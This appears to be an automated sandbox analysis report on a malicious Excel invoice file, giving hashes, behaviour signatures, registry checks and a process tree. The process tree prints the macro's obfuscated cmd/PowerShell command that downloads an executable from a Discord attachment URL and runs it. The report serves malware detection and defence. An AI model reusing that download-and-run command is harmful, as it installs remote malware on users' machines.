bf57ecd7a6c0166dd27f311cebda08ed8e9305cfaa66fe68131ba29250ba94f3

Analysis

max time kernel
110s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 17:16

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General

Target
Invoice-N192793.xls
Size 102KB
Sample221127-vs5t5ahe7y
SHA256 bf57ecd7a6c0166dd27f311cebda08ed8e9305cfaa66fe68131ba29250ba94f3
MD5 a88329a0eca1ff4a5d59dd6270d08267
SHA1 a812bbcb57431be5b0d436590ae4a53465bb1e25
SHA512 a7bc77709e943d92af345073f639a54d195258020bf5b7ca178eae6b7c90a1d984f2af660aa6e5112ec8389ff0dd27493244e22540acc3ae80ac7792fe066ec5
SSDEEP 3072:4k3hOdsylKlgryzc4bNhZFGzE+cL2knAk6vy/sUeo0JSpfiXa:4k3hOdsylKlgryzc4bNhZF+E+W2knAj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4184	4372	cmd.exe	80

Blocklisted process makes network request 1 IoCs

flow	pid	Process
62	824	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2480	s2zq4.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2916	2480	WerFault.exe	92

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4372	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
824	powershell.exe
824	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	824	powershell.exe
Token: SeDebugPrivilege	2480	s2zq4.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 4184	4372	EXCEL.EXE	89
PID 4372 wrote to memory of 4184	4372	EXCEL.EXE	89
PID 4184 wrote to memory of 824	4184	cmd.exe	91
PID 4184 wrote to memory of 824	4184	cmd.exe	91
PID 824 wrote to memory of 2480	824	powershell.exe	92
PID 824 wrote to memory of 2480	824	powershell.exe	92
PID 824 wrote to memory of 2480	824	powershell.exe	92

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice-N192793.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://cdn.discordapp.com/attachments/1036705838334746685/1046122909879513129/Sdcjiemg.e^xe -o C:\Users\Public\s2zq4.exe;C:\Users\Public\s2zq4.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell /W 01 curl https://cdn.discordapp.com/attachments/1036705838334746685/1046122909879513129/Sdcjiemg.exe -o C:\Users\Public\s2zq4.exe;C:\Users\Public\s2zq4.exe
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Users\Public\s2zq4.exe
      "C:\Users\Public\s2zq4.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2480
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 1456
        5⤵
        Program crash
        
        PID:2916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2480 -ip 2480
1⤵
PID:4596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

s2zq4.exe

Path C:\Users\Public\s2zq4.exe
Size 9KB
SHA256 1d6945a059e726e60a3892d81c3f8f8bb985096ae059d0e9f4011340b86dd910
MD5 31274edfe5023d4e00bdd966a22da3ae
SHA1 fb3ea63b6c795952fe8a4662f9bf4a75c1f73212
SHA512 b8d4fa949ec2f96ebd1efe5949e3c0833fb69076fcce346dabe5fd99a72bce8a8a764d7d5e283ee84c20a0b2b8da3537f4f7fbdc86374600063a835f980dd16b
SSDEEP 96:a/fb33teQCANPDUeRgWbMmEkWPA3SOKQZ3WNtW1jYcFoNVcz1W4oKYMsLYUa:CTt2ANLUYgiNtWPAsI8stYcFmVc03KY
MD5 SHA1 SHA512 SSDEEP

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s2zq4.exe

Path C:\Users\Public\s2zq4.exe
Size 9KB
SHA256 1d6945a059e726e60a3892d81c3f8f8bb985096ae059d0e9f4011340b86dd910
MD5 31274edfe5023d4e00bdd966a22da3ae
SHA1 fb3ea63b6c795952fe8a4662f9bf4a75c1f73212
SHA512 b8d4fa949ec2f96ebd1efe5949e3c0833fb69076fcce346dabe5fd99a72bce8a8a764d7d5e283ee84c20a0b2b8da3537f4f7fbdc86374600063a835f980dd16b
SSDEEP 96:a/fb33teQCANPDUeRgWbMmEkWPA3SOKQZ3WNtW1jYcFoNVcz1W4oKYMsLYUa:CTt2ANLUYgiNtWPAsI8stYcFmVc03KY
MD5 SHA1 SHA512 SSDEEP

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memory/824-146-0x00007FFD35E00000-0x00007FFD368C1000-memory.dmp

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memory/824-142-0x00007FFD35E00000-0x00007FFD368C1000-memory.dmp

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memory/824-141-0x0000025ACF7A0000-0x0000025ACF7C2000-memory.dmp

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memory/2480-147-0x0000000000460000-0x0000000000468000-memory.dmp

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memory/4372-134-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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memory/4372-135-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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memory/4372-137-0x00007FFD1E2C0000-0x00007FFD1E2D0000-memory.dmp

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memory/4372-136-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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memory/4372-138-0x00007FFD1E2C0000-0x00007FFD1E2D0000-memory.dmp

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memory/4372-133-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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memory/4372-132-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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memory/4372-149-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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memory/4372-150-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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memory/4372-152-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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memory/4372-151-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

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